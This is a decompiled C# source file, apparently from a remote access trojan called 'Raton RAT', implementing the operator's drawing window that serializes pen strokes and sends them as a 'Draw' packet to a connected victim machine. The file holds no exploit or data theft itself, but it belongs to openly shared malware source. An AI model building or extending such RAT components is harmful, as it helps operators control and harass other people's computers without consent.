Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Misc/ratonDrawing.cs
T

209 lines
7.1 KiB
C#
Raw Normal View History

2026-08-27 11:23:13 -06:00
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonDrawing
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Reflection;
using System.Text.Json;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonDrawing : Form
{
private bool drawing;
private Point lastPoint;
private Bitmap canvas;
private readonly List<DrawStroke> strokes = new List<DrawStroke>();
private readonly Color currentColor = Color.Red;
private readonly int currentSize = 3;
private IContainer components;
private Panel panel1;
private RgbBuildButton rgbBuildButton1;
private Timer timer1;
public SillyClient SillyClient { get; set; }
public ratonDrawing()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
ratonDrawing.EnableDoubleBuffer((Control) this.panel1);
this.panel1.MouseDown += new MouseEventHandler(this.DrawPanel_MouseDown);
this.panel1.MouseMove += new MouseEventHandler(this.DrawPanel_MouseMove);
this.panel1.MouseUp += new MouseEventHandler(this.DrawPanel_MouseUp);
this.panel1.Paint += new PaintEventHandler(this.DrawPanel_Paint);
this.panel1.Resize += new EventHandler(this.DrawPanel_Resize);
this.CreateCanvas();
}
private void CreateCanvas()
{
if (this.panel1.Width <= 0 || this.panel1.Height <= 0)
return;
this.canvas?.Dispose();
this.canvas = new Bitmap(this.panel1.Width, this.panel1.Height);
}
private void DrawPanel_Resize(object sender, EventArgs e)
{
if (this.canvas == null)
return;
Bitmap bitmap = new Bitmap(this.panel1.Width, this.panel1.Height);
using (Graphics graphics = Graphics.FromImage((Image) bitmap))
graphics.DrawImage((Image) this.canvas, 0, 0);
this.canvas.Dispose();
this.canvas = bitmap;
this.panel1.Invalidate();
}
private void DrawPanel_MouseDown(object sender, MouseEventArgs e)
{
this.drawing = true;
this.panel1.Capture = true;
this.lastPoint = e.Location;
}
private void DrawPanel_MouseUp(object sender, MouseEventArgs e)
{
this.drawing = false;
this.panel1.Capture = false;
}
private void DrawPanel_MouseMove(object sender, MouseEventArgs e)
{
if (!this.drawing || this.canvas == null)
return;
using (Graphics graphics = Graphics.FromImage((Image) this.canvas))
{
using (Pen pen = new Pen(this.currentColor, (float) this.currentSize))
{
pen.StartCap = LineCap.Round;
pen.EndCap = LineCap.Round;
graphics.SmoothingMode = SmoothingMode.AntiAlias;
graphics.DrawLine(pen, this.lastPoint, e.Location);
}
}
List<DrawStroke> strokes = this.strokes;
DrawStroke drawStroke = new DrawStroke();
drawStroke.X1 = this.lastPoint.X;
drawStroke.Y1 = this.lastPoint.Y;
Point location = e.Location;
drawStroke.X2 = location.X;
location = e.Location;
drawStroke.Y2 = location.Y;
drawStroke.Size = this.currentSize;
drawStroke.Color = this.currentColor.Name;
strokes.Add(drawStroke);
this.lastPoint = e.Location;
this.panel1.Invalidate();
}
private void DrawPanel_Paint(object sender, PaintEventArgs e)
{
if (this.canvas == null)
return;
e.Graphics.DrawImageUnscaled((Image) this.canvas, 0, 0);
}
private void ratonDrawing_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.timer1.Stop();
this.Close();
}
private void rgbBuildButton1_Click(object sender, EventArgs e)
{
if (this.strokes.Count == 0)
{
int num1 = (int) Messenger.MessageBox("Draw something first", "Empty", icon: MessageBoxIcon.Exclamation);
}
else
{
string str = JsonSerializer.Serialize<List<DrawStroke>>(this.strokes);
Console.WriteLine(str);
Pack pack = new Pack();
pack.SetString("Packet", "Draw");
pack.SetString("data", str);
pack.SetInt("w", this.panel1.Width);
pack.SetInt("h", this.panel1.Height);
this.SillyClient.Send(pack.Pacc());
this.strokes.Clear();
int num2 = (int) Messenger.MessageBox("Nice drawing vro, sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private static void EnableDoubleBuffer(Control c)
{
typeof (Control).GetProperty("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) c, (object) true);
}
private void panel1_Paint(object sender, PaintEventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDrawing));
this.panel1 = new Panel();
this.rgbBuildButton1 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
this.SuspendLayout();
this.panel1.Location = new Point(-3, 0);
this.panel1.Name = "panel1";
this.panel1.Size = new Size(831, 473);
this.panel1.TabIndex = 0;
this.panel1.Paint += new PaintEventHandler(this.panel1_Paint);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_status_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(13, 480);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(801, 46);
this.rgbBuildButton1.TabIndex = 1;
this.rgbBuildButton1.Text = "Send drawing";
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(826, 543);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.panel1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonDrawing);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "raton";
this.Load += new EventHandler(this.ratonDrawing_Load);
this.ResumeLayout(false);
}
}